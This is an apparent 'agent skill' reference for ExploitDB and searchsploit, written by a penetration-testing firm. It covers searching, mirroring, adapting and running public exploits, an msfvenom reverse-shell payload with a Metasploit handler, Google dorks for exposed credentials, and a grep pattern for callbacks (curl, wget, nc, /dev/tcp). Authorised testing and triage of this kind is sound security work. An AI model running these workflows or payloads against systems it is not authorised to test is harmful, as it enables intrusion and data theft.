Exploitdb

exploitdb Agent Skill

When to Use This Skill

Use this skill when:

• Searching for public exploits against a specific product, version, or CVE
• Using searchsploit on Kali Linux to query the local ExploitDB offline copy
• Mirroring exploit code to the current working directory for modification
• Parsing nmap XML output to automatically search exploits for discovered services
• Browsing the Google Hacking Database (GHDB) for OSINT/recon dorks
• Integrating ExploitDB findings with Metasploit
• Updating the local exploit database copy

What ExploitDB Does

ExploitDB is a curated public archive of exploit code, shellcode, and security papers covering vulnerabilities in thousands of software products since the 1990s. The primary access method during engagements is searchsploit, a CLI tool bundled with Kali Linux that queries a local offline copy of the database — no internet required. The web interface at exploit-db.com provides the same data with web search, filters, and direct download. ExploitDB is a first stop for identifying known public exploits during CVE research and post-recon vulnerability triage.

Installation

Kali Linux (pre-installed)

# searchsploit is part of the exploitdb package
which searchsploit     # /usr/bin/searchsploit
searchsploit --version

# Update local database copy
sudo searchsploit -u
# or
sudo apt update && sudo apt upgrade exploitdb

Other Debian/Ubuntu

sudo apt install exploitdb
# If not in repos:
sudo git clone https://github.com/offensive-security/exploitdb /opt/exploitdb
sudo ln -sf /opt/exploitdb/searchsploit /usr/local/bin/searchsploit

Manual (any Linux/macOS)

git clone https://github.com/offensive-security/exploitdb /opt/exploitdb
echo "export PATH=/opt/exploitdb:\$PATH" >> ~/.bashrc
source ~/.bashrc
# Configure .searchsploit_rc to point at correct path
echo "GitLoc=/opt/exploitdb" > ~/.searchsploit_rc

Docker (no local install needed)

docker run --rm -it kalilinux/kali-rolling bash -c "apt update && apt install -y exploitdb && searchsploit apache"

searchsploit CLI Reference

Basic search

# Search by product name (case-insensitive, partial match)
searchsploit apache
searchsploit wordpress
searchsploit "openssh 7.2"

# Multi-word search (AND logic — all terms must match)
searchsploit apache struts 2.5
searchsploit nginx 1.14 overflow

# Search by CVE
searchsploit CVE-2021-44228    # Log4Shell
searchsploit CVE-2017-0144     # EternalBlue

# Exact version matching
searchsploit "apache 2.4.49"

Output control

# Compact output (default wide table)
searchsploit -w apache   # Opens exploit-db.com URL in output

# JSON output (machine-readable)
searchsploit --json apache > results.json

# JSON with full details
searchsploit --json "openssh" | jq '.[] | {id: .EDB_ID, title: .Title, path: .Path}'

# Colour off (for piping)
searchsploit --colour apache | grep -i "remote"

Filtering by platform and type

# Filter by type
searchsploit --type remote apache          # Remote exploits only
searchsploit --type local windows 10       # Local privilege escalation
searchsploit --type webapps wordpress      # Web application exploits
searchsploit --type dos apache             # Denial-of-service

# Types: remote, local, dos, webapps, papers, shellcode

# Filter by platform
searchsploit --platform linux apache
searchsploit --platform windows smb
searchsploit --platform php wordpress

# Platforms: linux, windows, macos, android, ios, php, asp, java, python, ...

# Combine
searchsploit --type remote --platform linux apache 2.4

Examining exploit code

# Examine (print exploit to stdout) by EDB-ID
searchsploit -x 47887
searchsploit --examine 47887

# Or by path (searchsploit output shows path)
searchsploit -x exploits/linux/remote/47887.py

# Open in default $EDITOR
searchsploit -e 47887

# Print with syntax highlighting (bat if available)
searchsploit -x 47887 | bat -l python

Mirroring exploits (copy to CWD)

# Copy exploit file to current working directory
searchsploit -m 47887
searchsploit --mirror 47887

# Mirror multiple
searchsploit -m 47887 50417 42315

# Mirror all results from a search
searchsploit --json "wordpress 5.8" | \
  jq -r '.[].EDB_ID' | \
  while read id; do searchsploit -m $id 2>/dev/null; done

Path lookup

# Show full path to exploit file
searchsploit -p 47887

# Useful for reading without mirroring
cat $(searchsploit -p 47887 | awk '/Path:/{print $2}')

nmap XML integration

# Auto-search exploits for services found by nmap
nmap -sV -p- --open 10.10.10.100 -oX scan.xml
searchsploit --nmap scan.xml
searchsploit -x --nmap scan.xml   # Also print matching exploit code

# This parses service/version fingerprints and runs searchsploit for each service
# Very useful for rapid post-scan triage

Author and date search

# Search by exploit author
searchsploit --author "Metasploit"
searchsploit --author "EDB-VERIFY"

# Filter by date (YYYY-MM-DD)
searchsploit --date-from 2023-01-01 --date-to 2023-12-31 "apache"

Database Location and Structure

# Default database location
ls /usr/share/exploitdb/
# exploits/       — exploit files organized by platform/type
# shellcodes/     — shellcode samples
# papers/         — security papers
# files_exploits.csv  — index of all exploits (searchable)
# files_shellcodes.csv

# Browse by platform
ls /usr/share/exploitdb/exploits/linux/remote/
ls /usr/share/exploitdb/exploits/windows/local/
ls /usr/share/exploitdb/exploits/multiple/webapps/

# File naming: EDB-ID.extension
# 47887.py = EDB-ID 47887, Python exploit

Reading Exploits Safely

Before running ANY public exploit code, read and understand it:

# 1. Mirror to isolated working directory
mkdir /tmp/exploit-work && cd /tmp/exploit-work
searchsploit -m 47887

# 2. Read the exploit header — always contains:
#    - CVE ID
#    - Affected versions
#    - Usage instructions
#    - Author and discovery date
head -50 47887.py

# 3. Check for destructive payloads (rm -rf, format, etc.)
grep -iE "(rm -rf|format|wipe|dd if)" 47887.py

# 4. Check for hardcoded C2/callbacks
grep -iE "(curl|wget|nc |bash -i|/dev/tcp)" 47887.py

# 5. Verify dependencies
grep -iE "^import|^require|^use " 47887.py | head -20

# 6. Run in isolated environment (Docker or VM)
docker run --rm -it python:3 bash

Modifying Exploits for Your Target

Public exploits often require adaptation:

# Common modifications needed:
# 1. Change target IP/port
sed -i 's/192.168.0.1/10.10.10.100/' exploit.py
sed -i 's/8080/443/' exploit.py

# 2. Adjust payload (shell IP/port)
# msfvenom → replace hardcoded shellcode
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.1 LPORT=4444 -f py -v shellcode
# Paste output into exploit's shellcode variable

# 3. Fix Python 2 → 3 compatibility
2to3 -w exploit.py

# 4. Fix raw bytes for Python 3
# Change: buf = "\x90\x90..."
# To:     buf = b"\x90\x90..."

# 5. Add verbose/debug output
# Insert: print(f"[*] Sending payload to {target}:{port}")

# 6. Test connectivity before exploit
# Add: socket.connect((target, port)) before exploit logic

Google Hacking Database (GHDB)

The GHDB is a searchable collection of Google dorks — search operator strings that uncover sensitive data exposed via web search engines.

# Access via web
# https://www.exploit-db.com/google-hacking-database

# Categories:
# Footholds         — exposed admin panels, login portals
# Files containing usernames  — config files with creds
# Sensitive directories — .git, backup dirs, etc.
# Web server detection — server version banners
# Vulnerable files   — known-vulnerable scripts
# Vulnerable servers — misconfigured services
# Error messages     — verbose errors with paths/DB info
# Default credentials — default login pages

# Example dorks (manual Google search):
# intitle:"index of" ".env"
# filetype:sql "INSERT INTO" "password"
# inurl:wp-admin site:target.com
# inurl:.git/HEAD site:target.com
# "HTTP_SERVER_VARS" filetype:php
# site:pastebin.com "target.com" password

# Automated dork scanning (external tool)
pip install googler
googler -n 10 'site:target.com filetype:sql'
# Or use dorkbot, DorkSearch CLI tools

Integration with Metasploit

# Find Metasploit module equivalent to an EDB exploit
searchsploit -m 42315   # Mirror the exploit
head -20 42315.rb       # Check if it's already an MSF module (some are)

# Search MSF for the same CVE
msfconsole -q -x "search CVE-2021-44228; exit"

# If no MSF module, run the exploit directly and catch with MSF handler
msfconsole -q
use exploit/multi/handler
set payload linux/x64/shell_reverse_tcp
set LHOST 10.10.14.1
set LPORT 4444
run -j

# Then execute the EDB exploit: python3 42315.py 10.10.10.100

# Convert Python exploit to MSF module (advanced)
# Copy to /usr/share/metasploit-framework/modules/exploits/
# Follow MSF module development guide

Web Interface (exploit-db.com)

# Filters available on the web:
# - Type: Remote / Local / DoS / WebApps / Papers
# - Platform: Windows / Linux / PHP / etc.
# - Verified: Only verified/tested exploits
# - Date range
# - Author

# Direct CVE URL
curl "https://www.exploit-db.com/search?cve=2021-44228"

# Direct EDB-ID URL
curl "https://www.exploit-db.com/exploits/50592"

# Download exploit code
curl -sSL "https://www.exploit-db.com/raw/50592" -o 50592.py

Keeping the Database Updated

# Update via searchsploit (git pull under the hood)
sudo searchsploit -u

# Manual git pull
cd /usr/share/exploitdb && sudo git pull

# Check current database date
head -1 /usr/share/exploitdb/files_exploits.csv
git -C /usr/share/exploitdb log --oneline -5

# Full reinstall (if database is corrupt)
sudo apt reinstall exploitdb

Common Workflows

Workflow 1: Post-nmap triage

nmap -sV -p 21,22,80,443,445,3389 --open 10.10.10.0/24 -oX sweep.xml
searchsploit --nmap sweep.xml | tee sploit-findings.txt
# Review — manually examine relevant exploits
grep "EDB-ID" sploit-findings.txt | awk '{print $NF}' | \
  while read id; do searchsploit -m $id; done

Workflow 2: Version-specific exploit search (HTB/CTF style)

# Banner: Apache httpd 2.4.49 ((Unix))
searchsploit --type remote apache 2.4.49
searchsploit -m 50383    # CVE-2021-41773 path traversal
cat 50383.py | head -30
python3 50383.py -t http://10.10.10.100

Workflow 3: Windows priv-esc after foothold

# Enumerate OS: Windows Server 2008 R2 SP1
searchsploit --type local --platform windows "2008"
# Look for MS17-010, MS16-032, CVE-2019-0708, etc.
searchsploit -m 39719   # MS16-032 secondary logon priv-esc

Troubleshooting

Built by Red Hound InfoSec — On-demand offensive security expertise for SMBs. 20+ years of Fortune 500 experience. Penetration testing, attack surface analysis, and security consulting.

redhound.us | GitHub | Book a consultation